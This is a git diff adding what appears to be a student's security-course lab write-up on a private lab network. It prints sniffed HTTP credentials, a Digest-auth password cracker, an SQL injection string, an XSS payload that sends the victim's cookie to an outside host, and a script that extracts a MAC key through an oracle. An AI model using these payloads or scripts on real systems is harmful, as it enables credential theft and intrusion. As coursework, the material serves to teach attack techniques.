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diff --git a/OLD/csci5271/ho2/writeup.md b/OLD/csci5271/ho2/writeup.md new file mode 100644 index 0000000..ea63dd3 --- /dev/null +++ b/OLD/csci5271/ho2/writeup.md @@ -0,0 +1,139 @@ +# 1 + +## Packet + +``` +IP 192.168.14.3.46826 > 192.168.14.1.80: Flags [P.], seq 1:143, ack 1, win 502, options [nop,nop,TS val 1452909150 ecr 2428281190], length 142: HTTP: GET /secret/file HTTP/1.1 +E.....@.@..............P.Tw.|..j........... +V..^...fGET /secret/file HTTP/1.1 +Host: 192.168.14.1 +Authorization: Basic dHJhdmlzMTQ6bWFpdkRlY2d1cjIyMDI= +User-Agent: curl/7.58.0 +Accept: */* +``` + +## User/Pass +`travis14:maivDecgur2202` + +## Contents + +```html +I'm going to let you in on a little secret. Every day, once a day, give yourself a present. Don’t plan it; don’t wait for it; just let it happen. +- Dale Cooper +``` + +# 2 +## Packet + +``` +182203 IP 192.168.14.2.36586 > 192.168.14.1.80: Flags [P.], seq 91:464, ack 308, win 501, options [nop,nop,TS val 422351445 ecr 1957960104], length 373: HTTP: HEAD /secret/cheese HTTP/1.1 +E.....@.@..v...........P,.................. +.,.Ut...HEAD /secret/cheese HTTP/1.1 +Host: 192.168.14.1 +Authorization: Digest username="travis14", realm="Cheese", nonce="/DPYEFbSBQA=c06893026441a70acf049b49540e97acd2bdd640", uri="/secret/cheese", cnonce="ZjdlNTk0ZGZmMDQwZTU3OTM2MTIxOGEyNzljNDJlYzc=", nc=00000001, qop=auth, response="872aafc461761e417d2df47b85e43d2b", algorithm="MD5" +User-Agent: curl/7.58.0 +Accept: */* +``` + +## Crack + +```python +# HTTP Digest Authentication cracker +import hashlib + +username = "travis14" +realm = "Cheese" +nonce = "/DPYEFbSBQA=c06893026441a70acf049b49540e97acd2bdd640" +uri = "/secret/cheese" +qop = "auth" +nc = "00000001" +cnonce = "ZjdlNTk0ZGZmMDQwZTU3OTM2MTIxOGEyNzljNDJlYzc=" +response = "872aafc461761e417d2df47b85e43d2b" + +# Calculate the response +with open("10k-most-common.txt") as f: + for line in f: + line = line.strip('\n').strip() + ha1 = hashlib.md5((username + ":" + realm + ":" + line).encode('utf-8')).hexdigest() + ha2 = hashlib.md5(("HEAD" + ":" + uri).encode('utf-8')).hexdigest() + response = hashlib.md5((ha1 + ":" + nonce + ":" + nc + ":" + cnonce + ":" + qop + ":" + ha2).encode('utf-8')).hexdigest() + # print(line + ":" + response) + if (response == "872aafc461761e417d2df47b85e43d2b"): + print("Password: " + line) + break + +``` +## Password + +`Password: domain` + +## Contents + +``` +Intelligence alone is not nearly enough when it comes to acting wisely. + +— Fyodor Dostoevsky +``` + +# 3 + +## Cookie + +`Stephen2019-11-03T12%3A44%3A21Z` + +# 4 + +The secret to figuring out the SQL injection was ~~trying everything~~ tuning the query to stop returning Error 500. + +## Request + +`picture=char-kway-teow.jpg'+OR+1=1+AND'user=alice--` + +## Response + +`The best char kway teow is Penang char kway teow (lat: 5.411135 / lng: 100.330462)` + +# 5 + + +## XSS + +```html +<script>document.location="http://192.168.14.3:8080/?cookie="+document.cookie;</script> +``` + +## Cookie +`GET /?cookie=auth=Iwillseeyouagainin32years. HTTP/1.1" 200 -` + +## Writeup +The main additional thing I did was start up a `SimpleHTTPServer` on port 8080 of the server I have SSH access to. The attack works because the server is making an HTTP request to that port with the cookie being that of the browser. + +# 6 +## Code +```python +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning +import string + +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +actual = "" +key = "Z"*19 +for n in range(19, -1, -1): + res2 = requests.get("https://192.168.14.1/mac-cookie?username="+key, + verify=False).text.replace(".", "").split(" ")[-1].split('\n')[0] + for c in string.printable: + test = key[:n] + c + res1 = requests.get("https://192.168.14.1/mac-cookie?username="+test, + verify=False).text.replace(".", "").split(" ")[-1].split('\n')[0] + #print(test, res1, res2) + if res1 == res2: + actual = c + actual + break + key = key[:-1] + +print("Key is", actual) +``` + +## Key +`###################k` |